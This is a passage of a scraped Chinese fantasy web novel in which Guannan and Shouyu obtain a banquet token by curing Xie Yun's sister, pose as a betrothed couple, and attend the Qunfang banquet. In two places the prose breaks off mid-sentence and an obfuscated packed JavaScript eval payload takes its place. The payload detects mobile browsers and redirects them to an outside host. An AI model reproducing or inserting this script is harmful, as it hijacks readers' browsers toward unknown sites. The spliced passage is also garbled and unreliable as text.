观南弄清楚了凭证是为何物,正暗自思忖,忽听得守玉唤她名字。 他立在门楹前,玉色衣袍被风勾起一角。观南回身望谢婌一眼,见她已不再哭了,眼神直勾勾在她和守玉间转悠,似有探寻之意。 竟也催促她:“娘子快去罢。” 观南便起身出门,被他引至府中桃花树下,一处无人之地。守玉开门见山,道:“皇帝服的那药有问题。” 他道:“我刚才替他施针时望见了,药中有黄岑,芒硝,桂枝……气虚体弱之人怎可服用这些?” 观南仔细回想一番,也品出不对。她不懂药,却也晓得这几种药皆是清热发汗之用,气虚之人服用则会损人阳气。 便抿唇:“因着你教我接下太后相邀,是怀疑宫中有人欲妨害天子?” 守玉道:“娘子聪慧。”觑她神色,又道:“先前便听说,如今天子体弱多病,衣食俱经那所谓国师之手。他若是真同我一般修道,便不会不晓得这几种药不可施于天子之身。” 观南思忖片刻,道:“道门倒是随心所欲。” 她说这话本是信口而为,守玉听着却一噎。 他觑她几眼,见她不像是挤兑他,又略觉憋屈,终究是道:“娘子还在生我的气么?” 观南一愣。便见他似是忸怩半晌,道:“前日夜里的事,是我说话不过脑子,自恃清高了,还望娘子莫要再见怪。 倘若还是气,你打我骂我也成,只是莫要像今日一般不理会我,成么?” 她莫名:什么打他骂他?她又何时不理他了? 忽得望见他墨玉一样净润的眼,往日都带着盈盈笑意,此刻却眼角耷拉下来,仿佛殷切恳求。嘴角也紧紧抿着,紧张兮兮地望过来。 总觉得下一刻就要落泪了。 他这样望着她,倒像是她要甩了他一般。 观南一时结巴起来:“什么打你骂你……” 她最受不得人卖乖讨巧,当初谢婌是,如今被这人这样一望亦是。仿佛看见了跪在菩萨像前的稚气孩童,来扯她的衣角。 心里火气也没有了,只觉招架不住。 她错开眼神,一时竟狼狈起来:“我何时怪过你了?只是你我二人终究不是一路……” 守玉从善如流,就坡下驴:“娘子宅心仁厚,自然不会怪我。只是娘子所说,与我并非一路倒是未必。 你我二人入宫回府,走的不都是同一条路么?” 这是哪门子一路?观南被他晕晕乎乎绕进去,心中觉着不对,一时半会却又说不出旁的。 她便生硬换了话头:“我已知晓入宴凭证是为何物,午后便去寻所得之法。” 守玉摇头:“我正要同娘子说这事。” “我探听得知,谢大人旁支亲眷中有一人亦在受邀之列。且这人不在京中,也少有人见过他品性如何,如今正在建康城西一处客栈。” 观南恍然,道:“你是欲扮作他?可你怎的就知道他愿意助你,且假借他人名头做事,不会替他招来祸患么?” 若是如此顺利自然最好,也少了她费心力去寻凭证的一环。 守玉笑吟吟道:“娘子随我一道便晓得了。” 他实则还想将话头绕回来,问一问她:娘子这是愿随我同行了,不生我的气了? 见她抱臂认真思索的模样,便摇头笑了。 待用过午膳,两人便步往城西去。 一路行至城西,寻得那人所居客栈。只见客栈门前冷清,门扉半掩,似有几分萧索之意。 守玉上前叩门,不止片刻,便见一男子开门探头出来,神色略有憔悴,眼中稍许疲惫。 守玉拱手道:“敢问可是谢允谢大人?” 那男子微微一愣,眯眼道:“正是。二位有何贵干?” 守玉笑道:“听闻谢公子家中幼妹染病,我二人略通医术,特来相助。” 观南不动声色望他一眼:原来如此。又是他大显身手的时候了么? 谢允闻言,眼中一丝希冀闪过,却未立刻将二人迎入屋内。 只警惕道:“二位自何而来,可有凭证为据?我幼妹所染疾病颇有些罕见了,诸多医师皆是束手无策。二位瞧着陌生,我是不敢随便放人来治的。” 观南从袖中抽出块牌子来,乃是当日谢婌所赠。“我二人乃是谢大人府上亲信,我身旁这位公子医术精湛,听得谢衍谢大人提及,故来相助。” 谢允接了令牌过去,细细打量一番,连忙道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她低声道:“不瞒大人,如今建康疫病同蛊毒肆虐,只是解药难觅……乃是群芳宴上贡之物赤焰花。” 谢允一愣,见眼前这女子怜悯般望着他,忽得明悟了:“二位便是为此事而来的么?” 观南颔首。他又去看守玉,见他亦是点头。 便起身去屋中翻找一趟,忽得翻出片金叶子来:“群芳宴入宴凭证……二位要的便是这个罢。” 守玉接过金叶,见其上刻有“群芳毕至”等八字,正是群芳宴之凭证。 他颔首道:“正是。谢大人身在朝中,自然也明白,赤焰花一入宫廷,便再无出世救人之能。只是此物于我二人虽有大用,却不敢夺人所爱。” 谢允摇头道:“恩人欲救我小妹性命,我便晓得二位乃是慈悲心肠。” 他复去看床上小妹。只见她面色惨白,一动不动地躺着,全然无半点生气的模样。 忽得又跪下,重重磕下几个响头:“我不知二位图谋何物,只明白这天下黄金白银,俱不如我小妹一条性命。还望恩人收下,莫要推辞!” 观南阖眼,一时不忍再看。 守玉轻声道:“既然如此,我二人便收下了。待寻至赤焰花后,自会将其做成汤药,来日送至大人处。” 谢允连连点头,感激之情不言于表。守玉又要了一件他往日官服和常服,他同谢允身量相差无几,拿了衣物便道起谢来。 观南望见那绯红官服,脑中浮现出守玉穿戴的模样,只觉仿佛个整日流连花丛的狗官。 应当是好看的。所谓水中白石郎,样貌艳绝,世无其二,想必便是如此了。 这话在她脑中一过,自己也一惊。 二人出了客栈,守玉细细打量手中金叶,笑道:“此行倒是顺利,不仅得了凭证,还救了一人性命。” 便见观南呆怔的模样,道:“娘子。” 观南回神,将脑中想法一散:“你确实心善,施针救人毫不迟疑。若论如此,我不如你。” 倒是她空有一身武艺,平日里以杀止戈,又救得了多少人呢? 守玉不晓得她先前想了什么,便笑道:“医者仁心,何况救人一命,胜造七级浮屠。娘子不正亦如此么?” 观南摇头。又问他:“谢允能信么?” “能信,怎么不能信。”他摇头笑了,“娘子不知,人心一念,重于泰山。凡有一得,必有一失。他心中那杆秤已晓得谁是谁非,又怎会生出旁的心思。” “原来如此。”这便是人欲么?她踌躇一瞬,忽得想起师尊所说的话来。 世事无常,国土危脆……原是心是恶源,形为罪薮。 若心不恶,行自向善。 两人回了谢府,只见天边红霞渐去,白云翻墨,再过一日便是群芳宴。 已至傍晚,又是一场大雨将近。 10. 少年剑 大雨滂沱。将歇即是傍晚,已入戌时。 谢婌在父母膝下哭了许久,被打发出来太学领书。淅沥小雨仍悬在头上,她撑着油纸伞嘟嘟囔囔地出了门,将长裙挽至腿弯间,一个个踮脚跳过洼沼。 兰台路上稀疏燃起灯在门前,风中摇摇晃晃,一阵明灭。她寻着灯一路蹦哒过去,忽得察觉至什么,回首望去。 身后兰台路直直一条,街上行人尽散。尽头皇宫巍峨耸立,朱红楹楣直掩在乌云里。一道雷破在朱雀门前,她哆嗦一下,忽得想起昔日与天子相拥抵足而眠的日子。 接着涌上心头的便是恨。 于是愤愤咬了下唇,摇头不再去想。待至太学门前收了伞,她方才记起脚上鞋袜已湿透了。一时颇有些无措,又听到门内诸子诵读之声。 “……一家仁,一国兴仁;一家让,一国兴让;一人贪戾,一国作乱。” 领读那人道:“所谓齐身治国平天下,便是如此。而欲其齐家者,先修其身……” 原来学的是《大学》之道。谢婌悄悄破了窗纸往内看,屋中共五行四列,算上夫子共二十一位。 他们还不下学么?她急得直跺脚。又忍不住挨个看一眼,那与父亲私交甚好的李夫子是哪个?这群人长得歪瓜裂枣的都一个样,怎地就不能将名字贴张纸在脸上呢? 于是将伞寻了处位子放下,又扒住门框往里凑。 忽听得有声自身后传来:“姑娘?” 她惊了一跳,连连退了几步抚上心口,“做什么,骇死我哩!” 眼前这人未曾想到她胆子这样小,又陡然间望到她的脸,一时怔怔立在原地。 门内夫子听见声音出来,连忙走近:“谢姑娘,原来是你。怎地不进来?” 谢婌正抬眼要答,却望见眼前人面容,愕然愣住。 “原来是柳夫子。”那人同他见了好,见两人面面相觑,便道:“你二位相识么?” 谢婌错眼:“我来替我阿父拿书。” 柳粲然亦回过神。他正欲说本是旧时相熟,却看见谢婌扭头不愿见他的模样,心中苦笑一声。 李夫子恍然几声,忙回身去取了。两人立在檐下,一时相对无言。 忽得一阵大风来,刮得槐树枝桠狂舞,将谢婌立在墙边的伞吹起。谢婌惊呼一声忙要去拿,却被人拽住。 那柄桃红色伞被卷至几十丈开外去,顷刻间不见踪影了。 谢婌眼睁睁瞧着伞不见了,却不敢回头。只咬牙欲从他手中抽出,却挣脱不开。 再使力,却是他先放了手。 柳粲然抿唇道:“对不住。一时心急。” 她讷讷收手,总觉得手腕间还圈着一层灼热。喉间仿佛堵着许多话要问他——你这几年可还过的好么?怎么就来了建康太学当夫子?家中长辈呢? 却又不敢问,不敢瞧他的眼。 大抵已十年了。他长得这样高,已经高出她一个头。又想起昔日别离时他哀哀一眼。似有千万语,临表也无言。 所幸李夫子来得及时,她不敢再同他待下去,从人手中接过匆忙道了谢就要走。雨下得小了些,她正要急急忙忙闯进去,又被人拉住袖口。 谢婌着实拿他没办法:“又怎地了?” “还下着雨呢。”你怎么还同以往一样冒失?这话在他喉咙里过了一遍,却并无资格出口。 柳粲然只将伞递予她,“用我的罢。” 她犹疑着:“那你——” 他摇头:“我就住在太学。” 旁的话多说无益了。谢婌不敢淋了父亲的书,接过伞时望见他手上已有深深浅浅的疤痕,也不似往日洁白了。 便与他低声道了谢,终究是道:“你多保重。” 柳粲然望着她远去,忽听见身旁同僚道:“谢府千金当真气派,出个门都要十几个侍卫跟着。” 他信手一指,便见那黝黑府巷里蹿出十几人,跟在谢婌身后走了。 同僚笑道:“见你二人似是旧相识,怎地不多述几句旧?” 他无话可说。旧相识是真,可如今亦无旧可叙。 摇摇头,复进屋内去了。 此后只得是陌路人。 这厢谢婌回了府中,眼角瞥见一行人在府门口接了班,心中嘟囔几句。 手中青伞似有千斤重一般,扔了也不是放着也不是,只得叹气拿进屋了。 半刻雨歇。 江山不夜,月润万家。 满堂浸润的月色照得湖光清晰鉴人,遍地洁白如雪,风静波平。守玉沐浴毕披了身衣裳,在假山旁坐下。 不过半刻,一声鹰啸自月中来。黑鹰急急迫近,收了羽翼落在他手上。 “来得倒是快。”他从兜里翻出块糖,递到鹰喙前。这鹰扑腾一下羽毛,纡尊降贵地张嘴吃了,才将爪中纸卷松开。 守玉取来展开,看过几眼,便在手中燃了。 “群芳宴……”他垂首喃喃片刻。这鹰转身来啄他,被他两只并住喙推开。“我晓得你想说什么,只是你主人都拦不住我,你也别想了。” “无非是说所谓前尘往事休要再提,两千年尘土寂灭,寻仇无用……”他嗤笑一声,将手中烟灰挥洒出去。 “这算哪门子天命。凭什么我便不能寻?看着他尽将好处占了,如今逍遥人间,我却大恨难纾?” “俗人所求,不过爱欲,财物,权位——我一个不要,只要他偿命。若天命生来不公,又何须再信。” 他平静道:“我若是信命,十五岁就该死了。” 鹰自知劝不过他,叽叽叫了几声,又去桌上他包裹里翻糖吃。守玉摇摇头,正要去给它翻,却忽见那鹰连连扑棱羽翼往后退,露出碧绿色蛇头来。 观南紧接着自假石探出头:“小白,小白?” 守玉愕然抬眼。 便见观南上前,提溜着蛇脖子将它提起,“你翻旁人包裹做什么,我何时短过你吃食了?” 原来是在叫蛇。 他默然片刻:“娘子。”这蛇又绿又青的,和白沾哪门子边?还不如小绿小青,且唤着更像狗了。 观南叹气道:“怎么?” 她方才见它要褪皮了,便想着动手帮它一二,谁知这蛇千般不愿,跟泥鳅一样到处乱窜。 怎么偏偏叫小白?守玉难以启齿,哪怕换个旁的颜色呢。却终究只问:“怎么就叫小白了?” 观南亦是颇为无奈:“它自己要的。”便唤它,小蓝,小绿,小黄……唯独到了小白,它才愿将蛇头扭过来,伸舌头舔她指尖。 两人俱是无言。 好罢。他总不能小气量到同一只尚未开化的蛇斤斤计较。正想着,那鹰跳上它肩头,居高临下般盯着观南。 观南自是瞧见了这鹰,先前也未曾在他身边见过,想必又是昆仑仙物。正要说话,怀中蛇便警铃大作地弓起身,冲它嘶嘶叫起来。 变故便在顷刻间。黑鹰倏然射出去,将青蛇按翻在地。观南一愣,忙将两兽分开:“打架做什么?” 她腰侧包裹被翻了一地,滚落一把锈迹斑斑的小剑出来。 守玉上前去拾起,忽觉得这剑眼熟极了。看制式亦非近朝物什,便回身递予她:“娘子,这是你的剑么?” 观南正一手按住一个,半点眼神也不分给他。“我忘了,大抵是故人之物罢,劳烦你替我放进去。” 青蛇还要挣扎,不安分地在她掌心下乱窜,被她结结实实敲晕了过去。这鹰浑身一震,又被她冷眼瞧过来,终于也老实不动了。 她蹙眉道:“说好话不听,非要动手才安分。” 忽觉掌心下一股异样,低头一看,青蛇竟是褪皮了。 便松手,将青蛇提进怀里。回身见守玉已将她包裹收整好,便道谢接过:“多谢了。” 守玉摇头。黑鹰浑身的毛炸起,飞上他肩头。观南瞥它一眼,又道:“方才我一时情急将它按在地上,对不住了。” 守玉颇觉好笑:“娘子无需如此。往日昆仑山上都惯着它,今日下山一回才是见世面了。” 眼角黑鹰颇不服气地来啄他,他避开,手中扇骨敲它脑袋:“你打不过别人,朝我撒气做什么?快些回去复命罢。” 黑鹰叽叽喳喳几句,大抵是骂人的话,便展翅飞了。 观南目送它远去,又想起地上还有小白所褪之皮。同守玉道别,便拾起进了屋里。 刚披了发,忽得又忆起,照理说来,蛇妖一千年褪皮换骨,似乎她也该到了。 总不会这般巧罢? 她迟疑片刻,终究是摇摇头,将烛熄了。 清宵烛长。有人魂游神山,有人混沌无梦。庭中残荷无人理会,只得怅恨深秋。 . 卯时将近,观南模模糊糊地醒来,将压在她身上的小白推开,起身下了床。 今日正是群芳宴。 所需衣物已在她房中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107286|163938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她先前未曾打量过,如今展开一看,是街上常见女子衣饰。 谢允尚未成婚,她需得同守玉扮一对未婚夫妻。便将身上衣裳换过,一身鲜艳非常,金丝粼粼波光。 她长发未束垂落腰间,立在镜前看了片刻,倒是新奇。 只是她从未穿过衣裙,一时间颇有些不适。 身下丝帛纤软,一阵风来能吹起一半,到时候若是打起来又该如何是好?观南犹疑半晌,终究没有再想。 将梳妆台边金钗拿过来,一时间犯了难,这又该怎么簪?还有一堆细软花饰,看着就头大。 她只得努力背手去试,金钗插入脑后青丝。回身往镜中看,只觉有些四不像了,看着怪别扭的。 谢婌是寻不得的,这事不可告人,只得靠她自己。 便绞尽脑汁回想:往日街上见着的未婚女子,都是怎么一派装束来着? 观南正苦恼间,金钗咣当坠地,青丝也将将落了满肩。只得俯身去拾,无奈叹气一声。 身边窗户忽得被叩响几声,守玉立在窗前,身影如松竹直直拓上。“娘子,你起了么?” “起了。”她顿了顿,终究道:“你会簪女子发式么?” 他显然未曾料想这一问题,“兴许……不甚精通。” “劳烦你帮我一帮。”她推门出来,直直看着他:“我属实是一窍不通。” 她将金钗递予他,亦将他上下打量一番。 守玉已换上了那身深绯官袍,腰间革带紧束,翠玉系在身前,更衬得整个人落拓挺拔。 群芳宴并非宫宴,因着未配进贤冠,只取了一根白玉簪簪住长发,其余的披在身后。 一双天生的笑眼钩人,眼下小痣也成了锦上添花,一身江左少年风流。 他这厢接了簪子,一阵无言,跟她入了屋。 观南坐于镜前,乌发如瀑垂落。他立在她身后,颇觉有些无从下手了,只得先捏了梳子替她梳发。 从头顶梳下,柔顺青丝从他指间滑落。他遏住心猿意马,道:“娘子,我替你梳垂鬟分肖髻,成么?” 观南闻所未闻,仍道:“都成,多谢你了。” 实则是他只会这一种,上一次替人梳发都是千年前师侄们的童子小髻了。守玉脑中翻腾片刻,那兰台路上的千金女子们,都怎么梳的来着? 发分股,结鬟于头顶…… 这金钗还是他昨日新买的。长发被分开作两股,他一手握着金钗,冰凉手背从她耳边擦过,观南一顿,身后守玉指尖一颤。 她忽侧脸道:“我看你买了耳铛,我要戴么?” 耳铛?是了,当时东家挑了整整一套出来,他没甚细看就教人包起来了。 便下意识往她耳边看去,长而卷的睫毛忽闪,再就是玉琢一样的肌肤,并无半点缺漏。 怎么戴?她不是——没穿耳洞么。 观南仿佛知他所想,道:“现穿一个也成。” 她包里各类大小的针俱有,拿火一燎一扎,不过片刻的事。 虽说直接以术法幻作面容也成。 守玉吸气:“我听娘子的。”她呼出灼热气息尽数喷洒在他手上,他只愿她莫要再忽得扭头了。便伸指撩去她额前,将碎发挽回。 不用托拄,使其自然垂下,并束结肖尾、垂于肩上…… 成了。他如蒙大赦地撒手退后。 手背上仿佛依稀残存余温。 观南只觉他冷玉一样的指自她眉间划过。她一直想问问他,怎么浑身上下都冷得仿佛冰做的人;此刻却又不宜,便起身看向镜中。 大抵也称得上是明艳动人,姿容出色。她又不显年纪,看着倒真像是寻常未出阁的姑娘了。 便回身问他:“怎么样?” 实则问得是——看着像你未婚妻么? 守玉望过来,只见她整个人焕然一新,身上衣裳璀璨非凡。青丝束作垂鬟分肖髻,倒是衬得一张脸愈发精致动人,额前红痣摄人心魄。 她本就生得纤细高挑,肤色冷白如玉。如今稍作打扮,哪怕未施粉黛,也让人挪不开眼。 胸中猛地一跳,一时滋味难言。便避开她的眼道:“自是不错的。” 观南便放下心来。守玉眼睁睁看着她自包裹里掏出针来烧热,直直往耳垂穿去。 她面上却波澜不惊不显分毫,帕子拭了血,便取了那对银边蓝宝石耳铛戴上,又端起口脂往唇上一抿,道:“走罢。” 11. 群芳宴 兰台路上俱是往来行人。三三两两着鲜艳衣裳,令人看了便觉有喜事。 扰了建康近半个月的疫忽得止住了。被关在北街之人一批批倒下去,当天就烧了个干净。余灰洒进土里可作肥用,街坊邻居都争着去抢。 鲜卑使者已入京安置,只待今日群芳宴。这样盛大的场面总是招人喜欢的,哪怕是家中贫苦,也要分出几枚铜板买新衣裳穿。 街上欢声笑语不断。 各式的香萦在人与人间,观南同一人擦身而过,望见那男子耳上一双晃悠悠的翡翠环。 这样瞧来她这一身也不甚奇特了。如此想着,她将臂间桃红披帛往上提了提,腰间禁步叮铃铃一响,低头一看,原是小白从袖中探出头来。 守玉瞥见那翡色蛇头:“娘子还将它带着?” 观南将它按回去,“小白鼻子灵,兴许能派上用场。” ……鼻子灵,听着更像狗了。 他无言以对,步过街拐角,宝香楼便耸立在眼前。九层宫红雕栏,窗内仙云堕影。过往花间客红襟惹香,袖浮金云翠尾。 门前立了二位,佩剑皆束在身侧。 守玉忽得忆起事来,俯去她耳边:“娘子,你拿斩仙剑了么?” 观南无声颔首。 如今两人面上都覆了术法,着眼望来不过一对寻常年轻官家夫妻,正凑首说悄悄话。 他放下心来,将金叶子递过去。 那二位扫眼过来,“原是谢允谢大人,身旁这位娘子却不曾听过。” 观南挽上他胳膊,亦将声线掐软:“我是他未婚妻子,不日便要成婚的,也想来一同见识见识群芳宴。” 她又往他身边站近,肩膀几乎相贴。 守玉僵了半刻,也笑起来:“是。” 原是未婚夫妻,瞧着确实亲近。那二人便不多说,将金叶子递过去:“劳大人大驾,鲜卑使者今夜子时方至,大人可先携娘子在一二楼玩赏。” 便是还有半日时间。守玉接了金叶子,往楼内去。 眼前光景煞是动人,打眼望去,抱瑟奏乐的,起舞弄影的,打酒划拳的,热闹凑了满座。千万盏莲花小灯悬在头上,照得亮堂如日。 观南挽着他,从满堂脂粉味中,又闻见那股莫名香气。 楼中人多眼杂,也不便寻人行踪,正要拉守玉袖子,忽听得有人道:“啊哟,这不是谢允谢大人么?” 两人一同望去。 眼前来人身着绯红官袍,肥头大耳红光满面。观南尚在愣怔,守玉已带她迎上去,笑道:“真是许久未见了。” “是啊!自你建康一别,大抵已四年了。”那人捋着胡子眯眼,往他身边观南看来,“近来听闻你小妹染了病,你怎地还有空来此?” “小妹已病愈了。”守玉笑道:“此乃我未婚妻子,我已同她府上下了聘礼。她从未来过京中,恰逢群芳宴,我便陪她来看看。” 他牵住观南指尖,替她引荐:“这是我昔日太学同窗,你唤他兄长便是。” 他在她手心写字。观南便乖巧道:“杨兄长,我听他提起过你,真是巧。” “原来是弟媳。”姓杨这人大抵没什么心眼,得了她一句兄长便仰首大笑起来。“弟媳当真是美人,说话也好听。” “自你自请辞京去做乡官后,我在这建康城也索然无味得很了。”他呵呵笑道:“正巧今日弟媳也在,来几局射覆如何?看你还有没有往日太学的风采。” 这就是无法推拒之意了。守玉牵住观南,忽觉她牢牢拉住他,他一时动弹不得,便回头。 她眼中略微流露出些不赞同来:如此一来,耽误了事该如何? 守玉反握住她,微微摇头,往她手心写下几个字。 伺机而动。 好罢。总得还有半日光景。观南心中叹气,松了手,守玉顺势将她拉至身前来。 姓杨那人瞥见两人牢牢牵住的手,呵呵笑道:“看你二人感情甚笃啊。以往我总觉得你跟个木头一样不开窍,如今也是抱得美人归了。” 观南听了这话无甚波动,却又忽得忆起她如今是扮作别人,便以袖遮脸作羞涩状。 脸上两朵红云,实则是被香熏得。 二人到了桌前坐下。 这位杨大人大抵是朝中重臣,身旁点了乐师奏琴,又一位女郎见了她便笑吟吟地来拉她的手,“是弟媳么?难怪我一见你就心生欢喜。” 原来是杨夫人。观南便也勾了唇笑着应她。余光里已有人拿了碗来放在守玉眼前,他用着谢允的脸,却仍是笑着的模样。 射覆以六爻推算,想来他是信手拈来。 正打量四周,身旁杨夫人忽得凑近她:“娘子,不瞒你说,我颇有些好奇了——谢大人别名冰山一座,你二人是怎地相熟的?” 这问题来得猝不及防。 观南定了定神,忆起她同守玉议好的说辞,含笑回她:“谢大人看着冷冰冰的,实则是热心肠的人。是他昔日帮助我一二,我才与他相熟的。” “哦——”杨夫人眼中闪烁出莫名光芒,“原来是娘子先行的么?我看娘子性情含蓄,还以为是木头开窍了……” “也不是。”观南扯了帕子捂脸,胸中暗自运内力逼开脸上红晕,瞧着愈发羞怯了。 “是谢大人先寻的我。那日我遭人逼婚,正举足无措,便被他寻上来……” “原来如此!”真是好一出英雄救美,郎有情妾有意的故事,听着还怪诗情画意的。 “接着呢?” 接着?观南绞尽脑汁,脑中尽力搜刮词句,“他握着我的手同我念了一首《上邪》,道他对我之心便如此文,许我一生一世一双人……” 看不出谢允还有这样的柔情!杨夫人听至了兴头上,热切拉住她的手,“娘子,我同你直说罢,找男人便需得使他来寻你,若是他连告知你心意都不敢,还要他何用!” “——谢大人看来很是欢喜你,连这样酸倒牙的话都同你说了。” 观南莫名起了鸡皮疙瘩,只得默默将脸捂住。杨夫人浑然不觉,又一路刨根问底,从初遇追问到下聘时情形,眼中光彩纷纷。 观南被她拉着手,又被浓香熏着,心中颇觉煎熬。仿佛又回到了落伽山上被师尊抽背佛经的日子,且更令她心有余而力不足。 她不免连连往守玉看去。他成了没有?独留她在这演夫妻情深的戏码。 那头守玉方才睁眼,将答案说出。杨大人不免哎一声,“这都第六个了,你猜得未免太准了!” 守玉亦是笑:“杨兄看我,还有往日太学风采么?” “同你比甚无意思了。”杨大人哼哼几声,望向观南,“不若弟媳来试一试。” 她?守玉一时犹豫:“她恐怕不会这个……” 观南却猛地直起身:“我来。” 她快步过来,将地上的茫然的守玉拉起:“你去那边坐着。”正要撸袖子,忽得想起她如今扮的是温婉美人,只得硬生生半道改成以帕捂唇:“咳……都猜些什么?” 守玉被她扯得一个踉跄,方才将将站住,“娘子,你会么?” “怎么不会?”不就是猜东西么。 守玉欲言又止。杨大人亦在一旁煽风点火:“弟媳自然是聪慧的,便让她试一试嘛!试一试!” 观南笃定道:“来。” 好罢。他只得站至她身后。观南在他座上坐下,面前被放上碗。 杨大人大抵是觉得弟媳看着是新手,自己亦乐呵呵闭了眼,仿佛胜券在握。 守玉暗自掐指去算,原来碗下是幅女子头面。去看观南,她仍闭着眼思索。 他心中不知为何一动。 帮一帮她么? 便要去碰她指尖。观南却忽得睁眼:“原来是幅金银头面。” 他一时愣住,见她平静模样,忽得回过神来:将神息探出去亦可得知。 竟是他关心则乱了。 杨大人亦起身,将碗揭开一看,果不其然是幅金包银边镶翡翠头面。一旁楼中小厮上前笑道:“此乃我宝香楼顶尖的乐师之物,可凭此面见姝颜,恭贺娘子了。” 观南自席上起来,俯身去看那幅头面,可谓熠熠生辉。 她总觉得此物瞧着眼熟 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“你不是字怀竹么?原来还有这么个小狗似的乳名。”杨大人恍然大悟,目光暧昧地望他二人一眼。“原来你与我弟媳平日里都这般相处,真是枯木逢春,铁树开花……” 什么有的没的。观南抿唇,放出神识将整个宝香楼裹住。几百人魂魄混在一起,一时难辨,竟还有几个……白日宣淫。 她眉心突突跳几下,一圈下来竟是毫无所获。 杨大人见他二人似有话要谈,摇头笑笑坐去夫人身边了。守玉等她又寻了一圈,只见她茫然睁眼:“寻不到。” “宝香楼人多眼杂。”他摇头,“娘子不必太过心急,龙王随侍不同寻常妖类,不缺自保之力。” 这倒也是。且要在这耸天楼宇中寻至一只细长虫,也不是件容易事。 眼下还是先去见那乐师才要紧。 观南稍稍放了心,又听见那头杨大人唤他。回至席上坐下,这次只敢同守玉坐在一侧。 唤人上了酒来,四人各斟一杯。观南端起杯盏一闻,心中微微惶恐:这酒她是不敢沾一点了。 杨夫人殷切道:“这是江南才有的清酒,名叫梨花醉,是宫中传出来的方子。不知弟媳尝过没有?” 守玉已仰头一饮而尽,见她踌躇模样,也笑着望来。 她凑近,低声问他:“你尝着这酒烈不烈?” 守玉垂首,含笑看她:“娘子问我?我自然是觉着不烈的。你看我可有不适?” 她闻言仔细打量他。这人如今用着谢允的容貌,只眼尾泄出一道昳丽海棠红,面上倒是不显。 她凑得近,似乎已闻见梨花香气自他唇边来,一时也举杯不定:“你……没醉罢?” 要是醉了还灌他酒,她罪过可就大了。 “没有。” 她不信:“当真?” 守玉又笑,胸腔都微震起来。他将那杯酒自她手中拿过,仰头尽数喝了,放回她手中才道:“当真。” 观南狐疑望他一眼,又见对面夫妻二人揶揄目光,只得凑近他:“你若是真醉了,莫要硬撑,兴许谢允也喝不得酒呢。” 守玉心下好笑,有意要逗她:“万一他就是能喝呢。” 观南微微肃容:“纵酒过欲是为耽乐……” 他垂眸扯唇:“我已经许久未曾喝酒了。”上一次喝,似乎还是千年前去了师尊洞府内偷了一壶,醉得难分天地,醒来不知岁月几何。 想来他已许久未尝过酒的滋味,分不清苦辣酸甜了。 如今却是怎么也不会醉了。 女子眉眼近在眼前,他看得清清楚楚,于是伸手,将她鬓边碎发撩回去。“多谢娘子好心,我属实是不会醉的。” 观南一愣,便听杨夫人笑道:“娘子这是担忧你呢,你二人感情如此,我倒当真羡艳。” “她确实心善。”守玉又斟了一杯,席中古琴铮铮一声,灯火阑珊间,他忽得含笑向她望来,声音只她一人听见: “娘子,你口脂花了。” 12. 同操戈 口脂花了? 观南一愣,忙起身去寻镜子。侍从端了小圆镜来,她道谢接过,细细打量镜中女子。 唇边绯色不知何时已漫了出去,一角弯成芙蓉钩。所幸她用的色淡,就是花了也不甚显眼。 他何时瞧出来的?是她方才凑近他时么? 这可当真是丢人丢大发了,哪像个贵族千金模样。她心下叹气,欲抽帕子出来擦,身后忽得被人扯住衣袖。 回首,守玉已俯身下来:“娘子,宝香楼有单间空着,我同你一道去。” 她颔首应了好。随侍便引她二人入了单间,房中置了梳妆台面,一眼望去颜色俱全。 她揪着帕子细细擦拭唇角。往镜中一看,唇色却又淡了,寡净得也不似寻常女郎。 便回身望他:“你看我这样如何?” 守玉正打量各色饰物,闻言垂眼看她。 观南努力踮脚:“你凑近些瞧。” 去了口脂,这便是全然素着的一张脸。她虽是幻作了她人面容,一双澄净眼睛却始终好认。 唇瓣微抿住,瞧着水润润的。 胸前飞快跳了几下,他不晓得为何又心猿意马了,只得暗骂自己一句荒唐,飞快挪开去看她眼睛。 同她对视片刻,却又不敢再看,从手边胡乱取了口脂过来:“再添些罢。” 观南不觉有他,接了口脂往唇上一抿,又不自在起来:“太浓了罢?” 搞得她像是吃了人的妖怪一般。 守玉方才慌乱之下并未细看,如今一瞧,似乎是有些浓了。胸口尚未平息,见她胡乱伸手去碰,又忍不住笑了:“娘子,你不会抹口脂是不是?” 她这才发觉自己又将口脂涂出去了,老实道:“确实如此。” 他道一声得罪,便伸手掰过她下巴。观南睫毛忽闪着,看他取了自己随身的帕子,细细往她唇角捻来。 这帕子上还有梨花香,必是他方才喝酒沾上的。 至于他自己,身上有味道么?似乎从未闻到过。 她走神间,守玉已一手托住她脸颊,一手捻着帕子替她擦拭。 她忽得往前凑了凑:“你往日熏香么?” 鬓边头发又落下来扫过他指尖,守玉险些捏不住帕子,“做什么?” 她仔细闻了闻,“你不熏的,是不是?” 原来不是她鼻子出了错,而是他身上本就无味,像个全然冰做的人。 “我不熏香,也不配香囊。” 他抿唇,不敢看别处,只轻柔沿着唇边拭了一圈。待他终于隔着帕子压上她唇肉,才惊觉自己指尖抖如筛糠。 又恍神片刻:原来如此,原来如此。 原来这人也是会勾唇笑的,原来她有朝一日也会任由他触碰,原来…… 原来此处……竟是这般软的。 他不自觉神游天外。听见她关切:“莫要弄脏你的手了。”他才恍然回神。 不知为何敢垂眼看她了,自己牵唇笑起来:“娘子喜欢哪种颜色?” 观南茫然:“我?都成,听你的。” 他拿了几盒过来,一个个给她看:“此乃桃花红,春水红……” 名字起得还怪新奇。观南被他托住,实则不甚舒服,匆忙扫了几眼便收回目光,“瞧着都大差不差的……依你便是。” 守玉轻笑,自己也不晓得是为她无所谓的态度,还是毫无根据的信任。 大抵他的确是醉了。 